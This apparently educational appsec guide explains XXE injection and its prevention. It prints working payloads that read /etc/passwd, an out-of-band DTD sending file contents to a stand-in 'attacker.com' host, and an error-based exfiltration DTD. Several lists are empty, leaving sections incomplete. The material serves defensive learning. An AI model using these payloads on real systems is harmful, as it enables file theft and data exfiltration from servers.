appsec.fyi

XXE — A Practical Guide

A curated AppSec resource library covering XSS, SQLi, SSRF, IDOR, RCE, XXE, OSINT, and more.

XXE: A Practical Guide

Curated and synthesized by . Last updated 2026-08-16. Synthesized from 84 of 84 curated resources. Browse all 84 XXE resources →

Problem Framing

XML External Entity (XXE) injection remains a potent and persistent threat in application security, capable of leading to sensitive data disclosure, server-side request forgery (SSRF), denial-of-service (DoS) conditions, and in some cases, remote code execution (RCE). Despite being a known vulnerability for over a decade and a consistent feature on the OWASP Top 10 [1][2][3], misconfigurations and legacy systems continue to expose organizations to this attack vector [1]. The core of the problem lies in how XML parsers, by default or through insecure configuration, process external entity declarations within XML documents [2][3]. These external entities can reference local files, remote URLs, or even execute code, making them a prime target for attackers when not properly handled.

The prevalence of XML in various application components, including web services (SOAP, REST), file uploads (DOCX, XLSX, SVG), configuration files, and data interchange formats, ensures a broad attack surface [1][4][5]. Even modern applications can be vulnerable if they utilize XML processing libraries with insecure default settings or if developers inadvertently enable dangerous features [1][4]. The inherent complexity of XML, coupled with the dynamic nature of software development and the reuse of libraries, means that XXE vulnerabilities can lurk in unexpected places, often missed by automated scanning tools that do not specifically probe for them [2][6].

Core Mechanics

At its heart, XXE injection exploits the XML parser's ability to dereference external entities declared within a Document Type Definition (DTD). An XML document can specify a DTD, either internally within the document itself or by referencing an external file. Within a DTD, entities are defined that act as shortcuts or placeholders. External entities, in particular, can be declared with a SYSTEM identifier that points to a URI [2][3][7][8][9].

When an XML parser encounters an entity reference, it replaces the reference with the content specified in the entity declaration. If the SYSTEM identifier points to a local file (e.g., file:///etc/passwd), and external entity resolution is enabled, the parser will attempt to read that file's content and substitute it into the XML document. This content is then often processed or returned by the application, leading to information disclosure [1][2][3][4][9].

A basic XXE payload demonstrates this principle:


<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>

When such an XML document is processed by a vulnerable application, the parser resolves &xxe; by fetching the content of /etc/passwd. If the application then includes this resolved entity’s content in its response, the attacker gains access to the file [1][2][3][9].

Beyond simple file disclosure, XXE can be used for:

The core issue is the XML parser's configuration. Secure defaults are increasingly common, but explicit enabling of features like DTD loading and external entity resolution, or the use of older libraries, remains a common pitfall [1][4][17].

Notable Techniques

The flexibility and varied attack vectors of XXE make it a compelling vulnerability for security researchers. Several techniques have been developed to exploit XXE, particularly when direct data exfiltration in the response is blocked.

Out-of-Band (OOB) Exfiltration

When an application processes XML but does not directly reflect the results of external entity resolution in its response, OOB techniques become crucial [18][19][20][21][22][23][24]. The attacker’s goal is to trigger an interaction with a server they control. This is typically achieved by defining an external entity that points to a URL on the attacker's server.

A common OOB method involves hosting a malicious DTD on an attacker-controlled server. The XXE payload then references this external DTD. Within the DTD, parameter entities are used to construct a URL that includes the sensitive data (e.g., file content) and sends it to the attacker’s server via an HTTP or FTP request [18][20][21][22][23][8].

A typical malicious DTD to exfiltrate /etc/passwd would look like this:


<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfiltrate;

This DTD would be referenced by the main XML payload:


<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> <foo>&xxe;</foo>

The attacker then monitors their server for incoming requests containing the file's contents [18][21][22][23][8].

Blind XXE via Error Messages

Another technique for blind XXE involves exploiting XML parsing errors to reveal sensitive data. This method is effective when OOB interactions are blocked but the application returns error messages that can be manipulated to include data from local files [22][25]. The attacker crafts a DTD that attempts to access a non-existent resource, where the path to this resource includes the sensitive data. When the parser fails to find the resource, the error message might include the data, effectively exfiltrating it [22].

A DTD for error-based exfiltration:


<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;

When this DTD is invoked, and the parser tries to access /nonexistent/root:x:0:0:root:/root:/bin/bash, the resulting error message would contain the sensitive data [22].

File Upload Vector Exploitation

XXE can be triggered through file upload functionalities, especially for formats that are XML-based or contain XML components. This includes:

The key is that the application must parse the uploaded file's content server-side.

Protocol Handling and Wrappers

XML parsers can utilize various protocols beyond file://. Exploiting handlers like gopher://, ftp://, ldap://, and jar:// can reveal different attack surfaces or bypass restrictions [23][33][34][35]. For instance, the jar:// protocol can be used to read files within JAR archives [34][24].

PHP's stream wrappers, such as php://filter, are invaluable for bypassing input filters and encoding sensitive data (e.g., Base64) to prevent it from breaking XML structure or triggering security mechanisms [14][15][16][8].

Local DTD Discovery

In scenarios where external DTDs are blocked, attackers can leverage local DTDs that might be present on the server's filesystem. By identifying a local DTD that defines an entity that is subsequently referenced, an attacker can craft an XXE payload to redefine that entity, effectively injecting their malicious logic and achieving file disclosure or other impacts [24][25]. Tools exist to help discover these potentially exploitable local DTDs within containerized environments [24].

Detection and Prevention

Preventing XXE vulnerabilities fundamentally relies on securing the XML parsing process. The most robust approach is to completely disable the processing of external entities and DTDs.

Disabling External Entities and DTDs

Most modern XML parsers offer configuration options to disable these features. The OWASP XXE Prevention Cheat Sheet provides detailed guidance for various languages and parsers [17][3].


DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setXIncludeAware(false); // Also disable XInclude

Input Validation and Sanitization

While not a primary defense against XXE, robust input validation can help by rejecting XML documents that contain DOCTYPE declarations or suspicious entity references before they reach the parser [36][37]. However, this approach can be bypassed by attackers using various encoding or evasion techniques [14][15].

Web Application Firewalls (WAFs)

WAFs can provide a layer of defense by detecting and blocking common XXE patterns, such as DOCTYPE declarations and SYSTEM identifiers, in incoming requests [26][12][36]. However, WAFs can often be bypassed through encoding or by targeting less obvious XML processing points [26][24].

Dependency Management

Keeping XML parsing libraries and related dependencies updated is critical, as newer versions often include more secure defaults or patches for known XXE vulnerabilities [31][32][38][39].

Secure Development Practices

Developers should be educated on the risks of XXE and follow secure coding practices, avoiding the parsing of untrusted XML with default settings [1][3][17].

Tooling

A variety of tools assist in identifying and exploiting XXE vulnerabilities:

Recent Developments

XXE remains an active area of vulnerability research and discovery. Recent CVEs highlight its continued relevance:

The continued discovery of XXE in enterprise-level software from major vendors underscores the persistent challenge of securely configuring XML parsers and managing dependencies [13][31][50][49][39].

Where to Go Deeper

For a comprehensive understanding of XXE, practitioners should consult:

Sources cited in this guide

  1. XXE Vulnerability Guide 2025: How XML Attacks Still Threaten — instatunnel.my
  2. A Deep Dive Into XXE Injection (Synack) — synack.com
  3. XML External Entity (XXE) Processing | OWASP — owasp.org
  4. XML External Entity: The Ultimate Bug Bounty Guide to XXE | YesWeHack — yeswehack.com
  5. XXE attacks 😈 — link.medium.com
  6. Advice From A Researcher: Hunting XXE For Fun and Profit — blog.bugcrowd.com
  7. XML External Entity (XXE) Attack Guide | Hackviser — hackviser.com
  8. XXE - XEE - XML External Entity - HackTricks — book.hacktricks.xyz
  9. https://portswigger.net/web-security/xxe — portswigger.net
  10. XXE Injection: Advanced Exploitation Guide — intigriti.com
  11. Exploiting XXE for SSRF. Retrieving IAM credentials of EC2… | by Gupta Bles — medium.com
  12. XXE Complete Guide: Impact, Examples, and Prevention — hackerone.com
  13. Rapid7 Analysis: CVE-2022-28219 — rapid7.com
  14. Advanced XXE Exploitation: File Disclosure, Blind OOB, and RCE — github.com
  15. Advanced XXE Exploitation: File Disclosure, Blind OOB, and RCE — github.com
  16. Comprehensive Guide to XXE Exploitation: Advanced Data Exfiltration and RCE — nullsecurityx.codes
  17. XML External Entity Prevention · OWASP Cheat Sheet Series — cheatsheetseries.owasp.org
  18. Blind XXE Attacks: Out of Band Interaction Techniques to Exfiltrate Data — shreyapohekar.com
  19. Out-of-Band XML External Entity (OOB XXE) — invicti.com
  20. Exploiting Blind XXE: Data Exfiltration Through External DTD — medium.com
  21. Blind XXE: Exfiltrating Data Out-of-Band in 2025 — instatunnel.my
  22. What is a Blind XXE Attack? | PortSwigger — portswigger.net
  23. XXE - Things Are Getting Out of Band — blog.zsec.uk
  24. https://www.noob.ninja/2019/12/spilling-local-files-via-xxe-when-http.html — noob.ninja
  25. From blind XXE to root-level file read access – Honoki — honoki.net
  26. The File That Answered Back — XXE Hidden in Cell A2 — infosecwriteups.com
  27. Exploiting XXE via File Uploads (SVG, XLSX, DOCX) — exploit-db.com
  28. 10 Types of Web Vulnerabilities that are Often Missed - Detectify Labs — labs.detectify.com
  29. GitHub - whitel1st/docem: A tool to embed XXE and XSS payloads in docx, odt, pptx, xlsx files (oxml_xxe on steroids) — github.com
  30. BuffaloWill/oxml_xxe: A tool for embedding XXE/XML exploits into different — github.com
  31. Critical Apache Tika Vulnerability Leads to XXE Injection — securityweek.com
  32. Critical Apache Tika CVE-2025-66516: XXE Vulnerability — rescana.com
  33. h3xStream's blog: Identifying Xml eXternal Entity vulnerability (XXE) — blog.h3xstream.com
  34. https://gosecure.github.io/xxe-workshop/#0 — gosecure.github.io
  35. XXExploiter — github.com
  36. CVE-2025-11035: Jinher OA XXE Vulnerability — sentinelone.com
  37. XML External Entities (XXE) | Pentesting Notes — notes.sfoffo.com
  38. XXE in GeoServer WFS Service (CVE-2025-30220) — kudelskisecurity.com
  39. CVE-2025-54254: Adobe Experience Manager Forms XXE Vulnerability — sentinelone.com
  40. https://www.hackingarticles.in/burp-suite-for-pentester-hackbar/ — hackingarticles.in
  41. Blind XXE Lab: Exfiltrate Data Using Malicious External DTD — portswigger.net
  42. Tool for automatic exploitation of XXE vulnerability using direct and diffe — github.com
  43. If you find powerful OXML XXE tool? it’s “DOCEM” — hahwul.com
  44. XXElixir: Tool for Testing XXE via XLSX File Upload Poisoning — github.com
  45. Exploiting Out-Of-Band XXE on Wildfire — dhiyaneshgeek.github.io
  46. XXE-study/xxe.php at master · HLOverflow/XXE-study — github.com
  47. CVE-2025-30220: GeoServer WFS Service XML External Entity — miggo.io
  48. CVE-2025-27136: LocalS3 CreateBucketConfiguration XXE Injection — offsec.com
  49. CVE-2025-49493: XXE in Akamai CloudTest — xbow.com
  50. IBM Business Automation Workflow XXE (CVE-2025-13096) — ibm.com
  51. PortSwigger Blind XXE Lab Write-up — halleffect.medium.com
  52. Top 25 XXE Bug Bounty Reports — corneacristian.medium.com
  53. Advice From A Researcher: Hunting XXE For Fun and Profit — blog.bugcrowd.com
📚 This guide is synthesized from the full text of resources curated in the XXE library, and refreshed as new material is added.